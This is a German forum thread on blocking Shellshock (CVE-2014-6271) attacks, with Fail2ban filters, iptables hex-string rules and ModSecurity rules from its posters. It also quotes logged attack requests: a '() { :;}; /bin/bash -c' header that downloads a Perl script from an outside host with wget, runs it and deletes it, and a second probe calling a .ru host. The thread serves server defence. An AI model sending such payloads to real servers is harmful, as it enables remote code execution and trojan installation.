Shellshock

Alle Fragen, die rund um Fail2Ban (Konfiguration, Fehler, Filter...) sind.
Antworten
VBTECH
Beiträge: 32
Registriert: 26. Mär 2013, 15:54

Shellshock

Beitrag von VBTECH »

Fail2ban Filter (NGINX, APACHE usw.):
^<HOST> - - (?:\[[^]]*\] )+\"GET.*HTTP/1.1\".*(};|}\s;).*
^<HOST>.*\(\s*\)\s*\{[^"]*\}\s*\;[^"]+
(geprüft und funktioniert)

IP-Tables (https://access.redhat.com/articles/1212303)
# iptables -A INPUT -m string --algo bm --hex-string '|28 29 20 7B|' -j DROP
# ip6tables -A INPUT -m string --algo bm --hex-string '|28 29 20 7B|' -j DROP

Ergänzt um:
# iptables -A INPUT -m string --algo kmp --hex-string '|28 29 20 7B|' -j DROP
# ip6tables -A INPUT -m string --algo kmp --hex-string '|28 29 20 7B|' -j DROP

und bitte auch jeweils für Hex Strings so einrichten:
"Cookie: () {"
'|43 6F 6F 6B 69 65 3A 20 28 29 20 7B|'

"Host: () {"
'|48 6F 73 74 3A 20 28 29 20 7B|'

"Referer: () {"
'|52 65 66 65 72 65 72 3A 20 28 29 20 7B|'

": () {"
'|3A 20 28 29 20 7B|'

UND zusätzlich mit Platzhaltern, vor der fraglichen Zeichengruppe und danach, so dass alle gefiltert werden, welche den String auch nur irgendwo dazwischen haben.

ModSec:
https://access.redhat.com/articles/1212303
(geprüft und funktioniert)

# -- shellshock vulnerability (CVE-2014-6271 and CVE-2014-7169) von RedHat ----------------
SecRule REQUEST_HEADERS "^\(\s*\)\s+{" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule REQUEST_LINE "^\(\s*\)\s+{" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS_NAMES "^\(\s*\)\s+{" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS "^\(\s*\)\s+{" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule FILES_NAMES "^\(\s*\)\s+{" "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# -- shellshock [Owasp-modsecurity-core-rule-set] CVE-2014-6271 - BASH Vulnerability ----------------
SecRule REQUEST_HEADERS "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule FILES_NAMES "^\(\) {" "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"



So was läuft dann ins Leere:
64.15.147.111 - - [DATE, TIME] "GET //cgi-bin/bash HTTP/1.0" 403 961 "-" "() { :;}; /bin/bash -c \x22wget h t t p : / / l e g e n d s o f t w a r e s . c o m / l e g e n d . t x t -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"

Was dann runtergeladen wird, habe ich entfernt, damits hier übersichtlicher wird;

ACHTUNG WARNUNG

Wer die Seite oben (h t t p : / / l e g e n d s o f t w a r e s . c o m / l e g e n d . t x t) ansurft oder ähnlich gestaltete Seite, die man auch im Log findet, wie z.b. h t t p : / / e l l r i c h . c o m / l e g e n d . t x t oder h t t p : / / e l l r i c h . c o m / holt sich

JS/Exploit-Blacole.eq (Trojaner)
Perl/Shellbot (Trojaner)

unter Umständen auf den Rechner (nur beim ersten Besuch; wenn ihr die IP wechselt, "klappt es" auch beim zweiten Besuch)

Also bitte nur besuchen, wenn man den Browser in einer Sandbox (z.B. http://www.sandboxie.com) oder anderen virtuellen Umgebung laufen hat, denn Virenscanner McA hat NICHT angeschlagen.

Gggf. sind die Einträge in den logs über die Shellschock auch nur dazu gedacht, um Admins auf die "verlinkten Seiten" zu locken und dann dort den eigentlichen Schadcode unterzuschieben.
Zuletzt geändert von VBTECH am 11. Okt 2014, 18:37, insgesamt 5-mal geändert.

Benutzeravatar
Martin
Beiträge: 400
Registriert: 14. Sep 2010, 11:54
Kontaktdaten:

Re: Shellshock

Beitrag von Martin »

Hi,

danke dir, super Sache!

Aktuell hab ich es bei blocklist.de noch nicht drin, also wird nicht reported.
Ich bin die Woche auch noch unterwegs wie letzte Woche, wodurch ich es wahrscheinlich erst nächste Woche mit in die Beispiel-Configs und bei blocklist.de eintragen kann.

[EDIT]:
ist nun in den Beispiel-Config und in blocklist.de drin
Mfg Martin
http://www.blocklist.de/de/ Fail2Ban Reporting Service

Benutzeravatar
Martin
Beiträge: 400
Registriert: 14. Sep 2010, 11:54
Kontaktdaten:

Re: Shellshock

Beitrag von Martin »

Gerade noch bei blocklist.de geschaut

Code: Alles auswählen

62.210.75.170 - - [29/Sep/2014:10:22:58 +0200] "GET / HTTP/1.1" 301 355 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/YmxvY2tsaXN0LmRlU2hlbGxTaG9ja1NhbHQ= >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/YmxvY2tsaXN0LmRlU2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
der String bei creditstat.ru ergibt:

Code: Alles auswählen

blocklist.deShellShockSalt
Mfg Martin
http://www.blocklist.de/de/ Fail2Ban Reporting Service

Antworten